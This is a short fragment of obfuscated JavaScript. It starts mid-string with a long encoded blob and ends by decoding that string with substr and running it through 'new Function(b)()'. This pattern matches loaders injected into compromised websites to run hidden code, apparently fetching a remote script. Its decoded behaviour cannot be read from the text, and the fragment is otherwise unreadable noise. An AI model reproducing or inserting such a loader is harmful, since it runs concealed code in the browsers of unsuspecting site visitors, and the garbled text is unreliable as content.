0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();